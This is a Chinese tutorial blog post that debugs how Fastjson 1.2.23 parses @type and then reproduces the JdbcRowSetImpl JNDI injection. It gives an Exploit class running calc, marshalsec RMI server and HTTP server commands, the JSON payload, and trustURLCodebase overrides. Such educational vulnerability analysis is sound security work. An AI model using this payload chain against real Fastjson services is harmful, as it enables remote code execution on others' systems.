写点什么

一次基于 Fastjson 的 JNDI 注入

  • 2022-11-03
    湖南
  • 本文字数:3117 字

    阅读完需:约 10 分钟

1.Fastjson 介绍

Fastjson 是一个 Java 语言编写的高性能功能完善的 JSON 库。它采用一种“假定有序快速匹配”的算法,把 JSON Parse 的性能提升到极致,是目前 Java 语言中最快的 JSON 库。Fastjson 接口简单易用,已经被广泛使用在缓存序列化、协议交互、Web 输出、Android 客户端等多种应用场景。


主要特点:1.快速 FAST (比其它任何基于 Java 的解析器和生成器更快,包括 jackson)2.强大(支持普通 JDK 类包括任意 Java Bean Class、Collection、Map、Date 或 enum)3.零依赖(除了 JDK 没有依赖其它任何类库)

2.Fastjson 实验环境搭建

Fastjson版本1.2.23下载地址https://repo1.maven.org/maven2/com/alibaba/fastjson/
https://mvnrepository.com/artifact/com.alibaba/fastjson/1.2.23
jdk1.8.151下载地址 :https://repo.huaweicloud.com/java/jdk/8u151-b12/根据系统选择版本
复制代码


使用 IDEA 进行代码调试

1.使用 Idea 新建一个项目



【一一帮助安全学习,所有资源点一一】

①网络安全学习路线

②20 份渗透测试电子书

③安全攻防 357 页笔记

④50 份安全攻防面试指南

⑤安全红队渗透工具包

⑥网络安全必备书籍

⑦100 个漏洞实战案例

⑧安全大厂内部教程

2.pom.xml 中添加 FastJson 版本依赖


依赖代码如下


<dependencies><!-- https://mvnrepository.com/artifact/com.alibaba/fastjson --><dependency><groupId>com.alibaba</groupId><artifactId>fastjson</artifactId><version>1.2.23</version></dependency></dependencies>
复制代码

3.Fastjson 简单使用

1.定义一个 User 类

代码如下:里面包含 getName(),setName(),getAge(),sestAge()


public class User {private String name;private int age;
public User() {}
public User(String name, int age) {this.name = name;this.age = age;}
public String getName() {return name;}
public void setName(String name) { this.name = name; System.out.println("setName"); System.out.println(this.name);
}
public int getAge() {return age;}
public void setAge(int age) { this.age = age; System.out.println("setName"); System.out.println(this.age);}}
复制代码

2.新建一个 test 类,用于测试执行解析过程

import com.alibaba.fastjson.*;public class test {public static void main(String[] argv){testJdbcRowSetImpl();}public static void testJdbcRowSetImpl(){String str = "{\"@type\":\"User\",\"name\":\"cmd\"}";Object obj1 = JSON.parseObject(str);}}
复制代码

4.Fastjson 解析过程调试分析

调试开始

在此次设置断点,点击 debug 开始调试



按 f7 步入进入 pareseObject 后再进入 parse 方法



进入 parse 方法



进入重载 parse 方法



跟进 DefaultJSONParser 构建方法



该类主要是设置一些参数 input,config,symbolTable 和 token。



返回到 json 类,继续向下执行 parser.parse()



根据 token=12 跳转到该行,跟进 new JSONObject



此处是根据传进来的 ordered 值去判断使用链表哈希还是哈希。传入值为 false 所以使用 HashMap.



执行完成后返回到 case 条件中,继续跟进 parseObject()



进入判断首字符是否为",然后读取双引号内容为 @type 赋值为 key.



此处判断 key 是否等于 @type,获取需要反序列化类名称,并加载类。



进入 loadClass,前面逻辑不满足,一直步入到 1032 行,加载 User 类,并将 className 和 clazz 存入 mapping 中



返回到 DefaultJSONParser 类中继续执行,走到 367 行,跟进 config.getDeserializer 方法



进入判断 type 为 Class 的实例对象,进入重载的 getDeserializer 方法。



向下执行到 360 行,该处获取类名并将 $替换为.并判断类名是否在 denylist 中。denylist 只有 java.lang.Thread 类。继续向下执行。



此处判断 clazz 是否为 num,array 等,最终判断到 457 行,进入关键的 createJavaBeanDeserializer 方法



跟进 createJavaBeanDeserializer,进入一系列判断,执行到 522 关键代码 JavaBeanInfo.build.




跟进 JavaBeanInfo.build



declaredFields 获取变量名,methods 获取类方法



向下执行遇到 3 个 for 循环。



第一个 for 循环是用来获得满足条件的 set 方法 1 函数名长度大于 42 非静态函数 3 返回类型为 void4 当前类参数个数为 1 个的方法



第二个 for 循环是用来判断类定义的变量是否在 public 和 static 类型或属于 Collection、Map 的实现类或为 AtomicBoolean AtomicInteger AtomicLong 类



第三个 for 循环是用来判断满足条件的 get 方法 1、方法名长度大于等于 42、方法名以 get 开头 3、方法名第 4 个字母为大写 4、无需传参 5、返回值类型为 Collection、Map 的实现类或为 AtomicBoolean AtomicInteger AtomicLong



最后满足条件的方法有,setName 和 setAge




在第 538 行将获取到的方法构建一个 JavaBeanInfo 并返回。



跳转出 JavaBeanInfo 类,继续在 Parseconfig 类中执行第 533 行进入 for 循环判断 beanInfo.fields 中的 name 和 age 类的类型。



继续执行跳转到 Parseconfig 类第 460 行最后返回一个 Fastjson 反序列化器



向下执行跳转到 DefaultJSONParser 类第 368 行,跟进 deserializer.deserialze 方法,由于进入了上一步的反序列化器,这部分代码由于是动态生成的所以无法调试。




F8 步出,可观察到控制台输入了 setName 和 cmd,这段设置值的过程等会我们通过 JdbcRowSetImpl 链来分析


小结

Json.parse()



根据 text, ParserConfig.getGlobalInstance(), features 创建并初始化 DefaultJSONParer 解析器。实例参数如图下图




DefaultJSONParser.parse()根据 lexer.token()值进入到 case 12,初始化了一个 JSONObject 对象,并将其储存在 Hashmap 中



DefaultJSONParser.parseObject()



这里是根据获取到的 @type 值,进入到 TypeUtils.loadClass 去加载 @type 后面跟的类。



TypeUtils.loadClass 根据传入的类名去加载类



进入到 config.getDeserializer,判断类名是否在 denylist 中,进入 createJavaBeanDeserializer



createJavaBeanDeserializer 进入 JavaBeanInfo.build,JavaBeanInfo.build 主要是获得满足条件的 set,get 方法。



最后在 deserializer.deserialze 触发 setvalue 后使用 invoke 方法去 set 值。


5.JdbcRowSetImpl 链调用分析

1.生成恶意类

`
复制代码


public class Exploit {public Exploit() {    try {        Runtime.getRuntime().exec("calc");    } catch (Exception var2) {        var2.printStackTrace();    }
}
public static void main(String[] var0) { new Exploit();}
复制代码


}`将其编译成.class 文件,操作如下进入到 Exploit 所在文件夹内,打开控制台,输入 javac Exploit.java 即可完成编译。

2 启动相关服务

启动 http 进入到 Exploit 所在文件夹内,打开控制台,输入python -m http.server 8000我 python 版本为 3



启动 RMI 进入到 marshalsec-0.0.3-SNAPSHOT-all.jar 所在文件夹内,输入java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://127.0.0.1:8000/#Exploit" 1389



payloadString str = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://127.0.0.1:1389/Exploit\",\"autoCommit\":false}";


RMI 利用前提 JDK 6u132, JDK 7u122, JDK 8u113 之前可用,之后的版本需要在解析 payload 前加上如下代码System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true"); System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");


开始调试,我们跳过之前的步骤,直接进入到 deserializer.deserialze 到 parseField 下断点



跟进进入到这个函数



继续跟进,进入到 setValue 中,反射调用 setDataSourceName()方法




进入 JdbcRowSetImpl 中 setDataSourceName()



返回后继续执行 setvalue()方法会去反射调用 setAutocommit()



在 setAutocommit()中会去调用 connect()方法,然后进入到 Initialcontext#lookup()触发 JNDI 注入。


6.参考文章

Fastjson 反序列化 FastJson_1.2.24 反序列化漏洞复现+解析

用户头像

我是一名网络安全渗透师 2021-06-18 加入

关注我,后续将会带来更多精选作品,需要资料+wx:mengmengji08

评论

发布
暂无评论
一次基于Fastjson的JNDI注入_网络安全_网络安全学海_InfoQ写作社区